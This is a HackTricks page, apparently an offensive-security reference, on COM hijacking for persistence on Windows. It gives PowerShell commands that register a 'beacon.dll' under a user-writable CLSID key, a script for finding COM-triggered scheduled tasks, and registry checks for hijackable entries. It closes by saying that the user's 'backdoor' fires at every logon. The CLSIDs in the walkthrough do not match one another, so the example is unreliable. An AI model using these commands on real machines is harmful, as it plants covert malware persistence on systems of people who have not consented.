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107 lines
5.3 KiB
Markdown
107 lines
5.3 KiB
Markdown
# COM Hijacking
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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### Searching not existent COM components
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As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:
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* **RegOpenKey** operations.
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* where the _Result_ is **NAME NOT FOUND**.
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* and the _Path_ ends with **InprocServer32**.
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Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ 
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```bash
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New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
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New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
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New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
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```
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### Hijackable Task Scheduler COM components
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Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.
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<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
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$Tasks = Get-ScheduledTask
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foreach ($Task in $Tasks)
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{
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if ($Task.Actions.ClassId -ne $null)
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{
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if ($Task.Triggers.Enabled -eq $true)
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{
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$usersSid = "S-1-5-32-545"
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$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
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if ($Task.Principal.GroupId -eq $usersGroup)
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{
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Write-Host "Task Name: " $Task.TaskName
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Write-Host "Task Path: " $Task.TaskPath
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Write-Host "CLSID: " $Task.Actions.ClassId
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Write-Host
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}
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}
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}
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}
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# Sample Output:
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<strong># Task Name: Example
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</strong># Task Path: \Microsoft\Windows\Example\
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# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
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# [more like the previous one...]</code></pre>
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Checking the output you can select one that is going to be executed **every time a user logs in** for example.
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Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
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```bash
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# Exists in HKCR\CLSID\
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Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
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Name Property
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---- --------
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InprocServer32 (default) : C:\Windows\system32\some.dll
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ThreadingModel : Both
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# Exists in HKLM
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Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
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Name Property
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---- --------
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{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
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# Doesn't exist in HKCU
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PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
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Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
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```
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Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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